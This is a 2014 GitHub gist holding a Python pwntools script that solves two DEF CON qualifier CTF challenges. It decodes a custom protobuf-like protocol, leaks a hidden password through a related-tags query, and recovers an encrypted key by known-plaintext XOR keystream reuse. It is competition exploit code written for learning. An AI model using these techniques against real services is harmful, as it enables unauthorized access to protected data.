Skip to content

Instantly share code, notes, and snippets.

@TethysSvensson
Created May 19, 2014 00:01
Show Gist options
  • Save TethysSvensson/d952bf797a4d71cddbba to your computer and use it in GitHub Desktop.
Save TethysSvensson/d952bf797a4d71cddbba to your computer and use it in GitHub Desktop.
from pwn import *
import pwn2
import sys
HELLO = 0
READY = 1
ERROR = 255
REQ_POST = 11
RESP_POST = 12
REQ_GET_POST = 13
RESP_GET_POST = 14
REQ_LIST_POST = 15
RESP_LIST_POST = 16
REQ_LIST_TAG = 21
RESP_LIST_TAG = 22
REQ_LIST_RELATED = 31
RESP_LIST_RELATED = 32
def d_int(s):
res = 0
mul = 1
while s:
cur, s = s[0], s[1:]
cur = ord(cur)
res |= mul * (cur & 0x7f)
mul = mul << 7
if not (cur & 0x80):
break
return res, s
def e_int(l):
if l < 0x80:
return chr(l)
else:
return chr((l & 0x7f) | 0x80) + e_int(l >> 7)
def decode1 (buf):
typ, buf = d_int(buf)
typ, field_num = (typ & 7), (typ >> 3)
assert field_num < 10
if typ == 0:
val, buf = d_int(buf)
elif typ == 1:
assert len(buf) >= 8
val, buf = u64(buf[:8]), buf[8:]
elif typ == 2:
size, buf = d_int(buf)
assert len(buf) >= size
val, buf = buf[:size], buf[size:]
try:
typs, val = decode(val)
field_num = (field_num, typs)
except Exception:
pass
elif typ == 5:
assert len(buf) >= 4
val, buf = u64(buf[:4]), buf[4:]
return field_num, val, buf
def decode (buf):
vals = []
typs = []
while buf:
field_num, val, buf = decode1(buf)
vals.append(val)
typs.append(field_num)
return typs, vals
def encode1 (field_num, val):
if isinstance(val, (str, unicode)):
return e_int((field_num << 3) | 2) + e_int(len(val)) + val
elif isinstance(val, list):
val = encode(val)
return e_int((field_num << 3) | 2) + e_int(len(val)) + val
else:
raise Exception("Unsupported type: %s" % type(val))
def encode (xs):
out = []
for (field_num, val) in xs:
d = encode1(field_num, val)
out.append(d)
return ''.join(out)
def getmsg():
code = r.recvn(1)
if len(code) != 1:
raise Exception("Did not recieve enough data for code")
code = u8(code)
length = r.recvn(4)
if len(length) != 4:
raise Exception("Did not recieve enough data for length")
length = u32b(length)
data = r.recvn(length)
if len(data) != length:
raise Exception("Did not recieve enough data")
typs, vals = decode(data)
return code, typs, vals
def sendmsg_raw(code, args):
msg = encode(args)
data = p8(code) + p32b(len(msg)) + msg
r.send(data)
def sendmsg(code, *args):
sendmsg_raw(code, list(args))
return getmsg()
def login():
code, typs, vals = getmsg()
assert code == HELLO
assert typs == [1]
uuid = vals[0]
assert sendmsg(HELLO, (1, uuid)) == (READY, [], [])
return uuid
def get_uuids(*tags):
if tags:
extras = [(1, [(1, t) for t in tags])]
else:
extras = []
code, typs, uuids = sendmsg(REQ_LIST_POST, *extras)
assert code == RESP_LIST_POST
assert typs == [1]*len(typs)
return uuids
def get_tags():
code, typs, vals = sendmsg(REQ_LIST_TAG)
assert code == RESP_LIST_TAG
assert typs == [(1, [1])]*len(typs)
return concat(vals)
def get_post(uuid, *extras):
code, typs, vals = sendmsg(REQ_GET_POST, *(list(extras) + [(1, uuid)]))
if code == ERROR:
assert typs == [1]
raise Exception(vals[0])
assert code == RESP_GET_POST
assert len(typs) == 1
typs = typs[0]
assert typs[0] == 1
typs = typs[1]
assert typs[:3] == [1,2,3]
typs = typs[3:]
assert typs == [(4, [1])] * len(typs)
vals = vals[0]
return vals[0], vals[1], vals[2], vals[3]
def do_post(uuid, field0, field1, *tags):
msg = (
1, [
(1, uuid),
(2, field0),
(3, field1),
] + [(4, [(1, t)]) for t in tags]
)
code, typs, vals = sendmsg(REQ_POST, msg)
assert code == RESP_POST
assert typs == [1]
assert vals == [uuid]
def get_related(tag):
code, typs, vals = sendmsg(REQ_LIST_RELATED, (1, [(1, tag)]))
assert code == RESP_LIST_RELATED
assert typs == [(1, [1])] * len(typs)
return concat(vals)
def get_password():
tags = get_related(get_tags()[0])
password = [t for t in tags if 'password=' in t]
assert len(password) == 1
password = password[0]
return password.split('=')[1]
def get_hidden():
return get_post(get_uuids()[0], (2, get_password()))
def get_key():
return get_hidden()[2]
def win2():
global r
r = remote('fritas_91a318f87f384a080595696b3c73fc39.2014.shallweplayaga.me', 6908, silent = True, timeout = None)
login()
print get_key()
def win3():
global r
r = remote('medianoche_8b447fc7f99c257ee475381093eb6b25.2014.shallweplayaga.me', 6909, silent = True, timeout = None)
login()
password = get_password()
pt = 'A' * 100
do_post('foo', 'bar', pt, 'password=%s' % password)
ct = get_post('foo', (2, password))[2]
stream = xor(pt, ct)
print xor(stream, get_key(), cut='min')
win2()
win3()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment